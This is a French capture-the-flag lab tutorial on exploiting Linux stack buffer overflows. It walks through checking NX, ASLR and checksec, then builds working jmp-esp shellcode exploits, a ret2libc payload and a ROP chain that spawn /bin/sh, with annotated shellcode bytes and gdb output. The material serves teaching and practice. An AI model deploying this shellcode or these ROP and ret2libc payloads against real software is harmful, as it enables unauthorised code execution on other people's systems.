Buffer overflows - Système sans protection
Linux dispose de protection contre le buffer Overflow. On commence par les désactiver, et on les réactive au fur et à mesure pour monter la difficulté. Nos buffers overflow permettent de toucher du doigt le principe sans mettre les mains dans l'assembleur.
Démarrez votre serveur dédié en cliquant sur [Start server].
Server status : stopped
NX bit
$ readelf -l vuln | grep GNU_STACK
...
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
=> RW : Pas de E, la pile n'est pas executable.
ASLR
cat /proc/sys/kernel/randomize_va_space
0 : Off
1 : On
2 : Default
Pwntools checksec
$ pwn checksec `which ls`
[*] '/bin/ls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
trapkit.de checksec
http://www.trapkit.de/tools/checksec.html
$ wget http://www.trapkit.de/tools/checksec.sh
$ ./checksec.sh --file `which ls`
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH /bin/ls
ssh zapp@ctf-buffer_
mdp: kif
Avant 2005, sous Linux, la Stack était toujours située à la même adresse, ce qui rendait les exploits de buffer relativement faciles. La protection ASLR (Address Space Layout Randomization) a donc été introduite: à chaque lancement d'un programme d'adresse de sa Stack change. Cette protection est activée par défaut sur Linux depuis le kernel 2.6.20 (juin 2005). Les techniques appelées Ret2Reg, utilisent des registres qui pointent déjà vers la Stack. La technique de Jump ESP permet de se passer de la connaissance de l'adresse de la Stack. Elle consiste littéralement à dire au processeur: 'ta prochaine instruction se trouve à l'adresse pointée par le registre ESP... Or le registre ESP a pour vocation de pointer la Stack. Il faut trouver dans le code du programme l'instruction en assembleur 'jmp ESP', et mettre son adresse dans EIP. Dans un gros programme, on a des chances d'en trouver une. Dans le cadre d'un CTF, cette instruction est volontairement introduite :). Cherchons l'adresse d'un 'jmp esp' dans notre binaire avec 'objdump -d xxx' :
$ objdump -d say_hello5| grep esp | grep jmp
0804846b <jmp_esp>:
804846e: ff e4 jmp *%esp
Nous en avons une en 0x0804846e. Sur un processeur Intel, nous l'écrivons en inversant l'ordre les octets '\x6e\x84\x04\x08'. Nous faisons comme sur les exploits précédents, et plaçons l'adresse de cette instruction dans EIP. Nous plaçons ensuite sur la stack une payload en assembleur qui va ouvrir un shell /bin/sh.
Remplaçez l'adresse par celle correspondant à votre système.
Nous allons travailler avec un shell code qui est une référence.
'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'
Il a été détaillé par Aleph one dans son article sur les Buffers overflows http://phrack.org/issues/49/14.html. Lire la section 'Shell Code' pour plus de détail. Aleph One compile un programme en C qui lance un shell /bin/sh.
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
Il récupère le code assembleur généré par gcc, et le modifie à la main pour retirer les caractères tels que \x00. Une fois optimisé, il obtient:
label_start: ; 1 - nous n'avons aucune idée de l'adresse ou se trouve /bin/sh
\xeb\x1f jmp loc_00000021 ; 1 - on saute 21 bytes plus loin avec un jump
label_continue:
\x5e pop esi ; 3 - on récupère l'adresse de /bin/sh avec un pop et on la place dans esi
label_sys_execve: ; 3- on prépare les paramètres de la fonction sys_execve
\x89\x76\x08 mov DWORD PTR [esi+0x8],esi ; 3- on sauve l'adresse de /bin/sh en [esi+0x8]
\x31\xc0 xor eax,eax ; 3 - eax=0000
\x88\x46\x07 mov BYTE PTR [esi+0x7],al ; 3- on s'assure que /bin/sh se termine par un caractère null
\x89\x46\x0c mov DWORD PTR [esi+0xc],eax ; 3- on place 0000 en [esi+0xc]
\xb0\x0b mov al,0xb ; 3- eax = 0x0b : appel de sys_execve
\x89\xf3 mov ebx, esi ; 3- ebx : adresse de l'adresse de /bin/sh
\x8d\x4e\x08 lea ecx,[esi+0x8] ; 3- ecx : adresse de /bin/sh
\x8d\x56\x0c lea edx,[esi+0xc] ; 3- edx : adresse du null long word
\xcd\x80 int 0x80 ; 3- On déclenche l'appel à sys_execve
\x31\xdb xor ebx,ebx ; 4- On place 0 dans ebx : sys_exit retourne 0
\x89\xd8 mov eax,ebx ; 4- on place 0 dans eax
\x40 inc eax ; 4- et on l'incémente à 1 => la fonction appellée par int80 est sys_exit
\xcd\x80 int 0x80 ; 4- On appelle int 0x80 pour appeler sys_exit et quitter proprement
loc_00000021:
\xe8\xdc\xff\xff\xff call offset_to_label_pop ; 2 - on revient en arrière de 23 bytes avec un call. L'adresse actuelle est sauvée dans la pile. Cette adresse est aussi celle de /bin/sh
loc_esi:
/bin/sh
loc_esi+7:
0 ; forcé à 0
loc_esi+8:
xxxx ; contiendra l'adresse de /bin/sh
loc_esi+c:
0000 ; contiendra un double word null
Ne jamais utiliser un shell sans savoir ce qu'il fait. Pour retrouver les appels de fonction: Rechercher les int 80 et vérifier la valeur de ebx lors de l'interruption. Utiliser un desassembleur : https://onlinedisassembler.com/odaweb/ Trouver la fonction appelée dans une table Linux System Call : https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html Ce shell est un shell linux en 32 bits.
"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";
31 c0 xor %eax,%eax ; eax = 0000
50 push %eax ; on place 0 sur la stack
68 2f 2f 73 68 push $0x68732f2f ; on place //sh sur la stack
68 2f 62 69 6e push $0x6e69622f ; on place /bin
89 e3 mov %ebx,%esp ; on met l'adresse de /bin//sh dans ebx
50 push %eax ; on place 0 sur la stack
53 push %ebx ; on place l'adresse de /bin//sh sur la stack
89 e1 mov %ecx, %esp ; ecx = adresse de l'adresse de /bin//sh
99 cltd ; edx is filled with the most significant bit of eax: 0
b0 0b mov $0xb,%al ; eax = 0x0b : appel de sys_execve
cd 80 int $0x80 ; appel de sys_execve()
source: http://shell-storm.org/shellcode/files/shellcode-491.php
ssh zapp@ctf-buffer_
mdp: kif
L'ASLR est activé: Le système place les programmes aléatoirement en mémoire. Il n'est plus possible de trouver les adresses des fonctions. Hack n do a réalisé un excellent tuto sur le ret2libC : https://beta.hackndo.com/retour-a-la-libc/ Méthode Nous utilisons les adresses des fonctions de la libC qui est partagée par de nombreux programmes. Nous utilisons un appel à la fonction 'system', et à la fonction 'exit'. Nous allons placer la chaine '/bin/sh' dans une variable d'environnement et récupérer son adresse. Nous allons utiliser la payload suivante:
[x*0x90][adresse system][adresse exit][adresse /bin/sh]
Trouver n
gdb -batch -ex='run' -args ./say_hello5 $(python pattern.py 300)
Hello Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Program received signal SIGSEGV, Segmentation fault.
0x31684130 in ?? ()
$ python pattern.py 0x31684130
Pattern 0x31684130 first occurrence at position 212 in pattern.
n vaut 212. Adresse de 'system' dans la libC
gdb -batch -ex='b 36' -ex='run' -ex='print system' -args ./say_hello5 $(python -c "print '\x90'*(212)")
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36.
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36
36 if (argc<=1) {
$1 = {<text variable, no debug info>} 0xf7e51da0 <__libc_system>
Adresse de system: 0xf7e51da0 Adresse de 'exit' dans la libC
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36.
Breakpoint 1, main (argc=2, argv=0xffffd774) at buffer_05.c:36
36 if (argc<=1) {
$1 = {<text variable, no debug info>} 0xf7e479d0 <__GI_exit>
Adresse de exit: 0xf7e479d0 Adresse de '/bin/sh' Injectons la chaine de caractères /bin/sh dans une variable d'environnement.
Récupérons l'adresse
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36.
Breakpoint 1, main (argc=2, argv=0xffffd774) at buffer_05.c:36
36 if (argc<=1) {
0xffffd97c: "HOSTNAME=0df9c752089e"
...
0xffffd9d4: "MYSHELL=/bin/sh"
0xffffd9e4: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
...
0xffffdfca: "PWD=/home/zapp"
0xffffdfd9: "LINES=28"
0xffffdfe2: "/home/zapp/say_hello5"
Adresse de "MYSHELL=/bin/sh" quand on est dans un contexte gdb: 0xffffd9d4 ! On décale l'adresse des 8 caractères de "MYSHELL=" ! Adresse de "/bin/sh" quand on est dans un contexte gdb: 0xffffd9dc Construction de la payload
[212*0x90][adresse system][adresse exit][adresse /bin/sh]
'\x90'*(212)+'\x70\x83\x04\x08'+'\xd0\x79\xe4\xf7'+'\xdc\xd9\xff\xff'
./say_hello5 $(python -c "print '\x90'*(212)+'\x70\x83\x04\x08\xd0\x79\xe4\xf7\xd4\xd9\xff\xff'") En 64 bit, on n'utilise plus la pile, mais les registres. Il faut donc passer ces 3 adresses dans des registres.
$ gdb -batch -ex='run' -args ./say_hello5 $(python -c "print '\x90'*(212)+'\xa0\x1d\xe5\xf7\xd0\x59\xe4\xf7\x7d\xde\xff\xff'")
Hello ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Y��}���
zapp@ctf-buffer:~ $
Pour vérifier que nous sommes bien dans un shell fils de notre process, utilisons la commande:
$ ps eaxf
PID TTY STAT TIME COMMAND
1 ? Ss 0:00 /usr/sbin/sshd -D
6 ? Ss 0:00 sshd: zapp [priv]
16 ? S 0:00 \_ sshd: zapp@pts/0
17 pts/0 Ss 0:00 \_ -bash USER=zapp LOGNAME=zapp HOME=/home/zapp PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bi
402 pts/0 S 0:00 \_ gdb -batch -ex=run -args ./say_hello5 ???????????????????????????????????????????????????????????????????
404 pts/0 S 0:00 \_ /home/zapp/say_hello5 ???????????????????????????????????????????????????????????????????????????????
408 pts/0 S 0:00 \_ sh -c /bin/bash SHELL=/bin/bash TERM=xterm-color SSH_CLIENT=16.3.0.2 52860 22 SSH_TTY=/dev/pts/0
409 pts/0 S 0:00 \_ /bin/bash MAIL=/var/mail/zapp SSH_CLIENT=16.3.0.2 52860 22 USER=zapp SHLVL=1 HOME=/home/zapp
412 pts/0 R+ 0:00 \_ ps eaxf SHELL=/bin/bash TERM=xterm-color SSH_CLIENT=16.3.0.2 52860 22 SSH_TTY=/dev/pts/0
zapp@ctf-buffer:~$
Pour s'arréter en début de programme:
-ex='b 36' -ex='run'
-ex='break main' -ex='run'
Pour trouver l'adresse de /bin/sh dans la libC, sans avoir à créer une variable d'environnement:
-ex='find &system,+9999999,"/bin/sh"'
-ex='find __libc_start_main,__libc_start_main+99999999,"/bin/sh"'
$ gdb -batch -ex='b 36' -ex='run' -ex='find __libc_start_main,__libc_start_main+99999999,"/bin/sh"' -args ./say_hello5 $(python -c "print '\x90'*(212)")
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36.
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36
36 if (argc<=1) {
process 469
0xf7f72a0b
warning: Unable to access 16000 bytes of target memory at 0xf7fcc793, halting search.
1 pattern found.
/bin/sh est présent à l'adresse: 0xf7f72a0b Vérifier le contenu de l'adresse:
$ gdb -batch -ex='b 36' -ex='run' -ex='x/s 0xf7f72a0b' -args ./say_hello5 $(python -c "print '\x90'*(212)")
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36.
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36
36 if (argc<=1) {
process 476
0xf7f72a0b: "/bin/sh"
On lance gdb, pose un breakpoint ligne 36, démarre le programme qui va s'arréter au break point et on demande : info proc map
$ gdb -batch -ex='b 36' -ex='run' -ex='info proc map' -args ./say_hello5 $(python -c "print '\x90'*(212)")
Breakpoint 1 at 0x8048503: file buffer_05.c, line 36.
Breakpoint 1, main (argc=2, argv=0xffffdc64) at buffer_05.c:36
36 if (argc<=1) {
process 476
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/zapp/say_hello5
0x8049000 0x804a000 0x1000 0x0 /home/zapp/say_hello5
0x804a000 0x804b000 0x1000 0x1000 /home/zapp/say_hello5
0xf7e16000 0xf7e17000 0x1000 0x0
0xf7e17000 0xf7fc7000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fc7000 0xf7fc9000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fc9000 0xf7fca000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fca000 0xf7fcd000 0x3000 0x0
0xf7fd3000 0xf7fd4000 0x1000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
Lire deux explications: Hackndo: https://beta.hackndo.com/return-oriented-programming/ Geluchat: https://www.dailysecurity.fr/return_oriented_programming/ Se connecter en ssh:
ssh zapp@ctf-buffer_
mdp: kif
Determiner la position de l'overflow
$ python pattern.py 300 > /tmp/pattern
$ gdb -batch -ex='run < /tmp/pattern' -args ./rop
You password is incorrect
Program received signal SIGSEGV, Segmentation fault.
0x66413965 in ?? ()
$ python pattern.py 0x66413965
Pattern 0x66413965 first occurrence at position 148 in pattern.
Générer une chaine de rop
ROPgadget --binary rop --depth 3 --ropchain
Copier/Coller le programme python généré, le nettoyer. Ajouter le pading initial, et un print final.
from struct import pack
p = 'A'*148
p += pack('<I', 0x0806ee3a) # pop edx ; ret
p += pack('<I', 0x080ea000) # @ .data
p += pack('<I', 0x080b8186) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805486b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee3a) # pop edx ; ret
p += pack('<I', 0x080ea004) # @ .data + 4
p += pack('<I', 0x080b8186) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805486b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee3a) # pop edx ; ret
p += pack('<I', 0x080ea008) # @ .data + 8
p += pack('<I', 0x08049493) # xor eax, eax ; ret
p += pack('<I', 0x0805486b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea000) # @ .data
p += pack('<I', 0x080de8ad) # pop ecx ; ret
p += pack('<I', 0x080ea008) # @ .data + 8
p += pack('<I', 0x0806ee3a) # pop edx ; ret
p += pack('<I', 0x080ea008) # @ .data + 8
p += pack('<I', 0x08049493) # xor eax, eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0807a81f) # inc eax ; ret
p += pack('<I', 0x0806cab5) # int 0x80
print(p)
On lance ./rop avec un strace:
$ echo "yop" | strace ./rop
execve("./rop", ["./rop"], [/* 14 vars */]) = 0
strace: [ Process PID=649 runs in 32 bit mode. ]
uname({sysname="Linux", nodename="ctf-buffer", ...}) = 0
brk(NULL) = 0x8203000
brk(0x8203d40) = 0x8203d40
set_thread_area({entry_number:-1, base_addr:0x8203840, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:12)
readlink("/proc/self/exe", "/home/zapp/rop", 4096) = 14
brk(0x8224d40) = 0x8224d40
brk(0x8225000) = 0x8225000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
read(0, "yop\n", 4096) = 4
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "You password is incorrect\n", 26You password is incorrect
) = 26
==> On termine le programme
exit_group(0) = ?
+++ exited with 0 +++
On lance le rop avec un strace:
$ /tmp/rop_payload.py | strace ./rop
execve("./rop", ["./rop"], [/* 14 vars */]) = 0
... On retrouve les mêmes instructions
==> On part sur un appel système execve.
execve("/bin//sh", [], [/* 0 vars */]) = 0
strace: [ Process PID=653 runs in 64 bit mode. ]
brk(NULL) = 0x55818d68b000
...
==> Le comportement est celui d'un /bin//sh classique
Ici, il exit au lieu d'ouvrir un tty
read(0, "", 8192) = 0
exit_group(0) = ?
+++ exited with 0 +++
Quelques outils:
https://github.com/JonathanSalwan/ROPgadget
https://github.com/david942j/one_gadget
https://github.com/sashs/Ropper
Nous ne pouvons pas ouvrir de terminal, nous allons injecter nos commandes à la suite de la payload
....
p += pack('<I', 0x0806cab5) # int 0x80
p += "\n" * 10000 # une rampe de retour à la ligne
p += "id; ls\n" # nos commandes bash: id et ls
print(p)
Et c'est reparti
$ /tmp/rop_payload.py | ./rop
You password is incorrect
uid=1005(zapp) gid=1005(zapp) groups=1005(zapp)
buffer_05.c buffer_rop.c pattern.py rop say_hello5
Success :)
La librairie python pwntools permet de récupérer un tty avec la fonction r.interactive()
from pwn import *
from struct import pack
r = process("./rop")
p = "A"*148
p += pack('<I', 0x0806ed1a) # pop edx ; ret
...
p += pack('<I', 0x0806c985) # int 0x80
r.sendline(p)
r.interactive()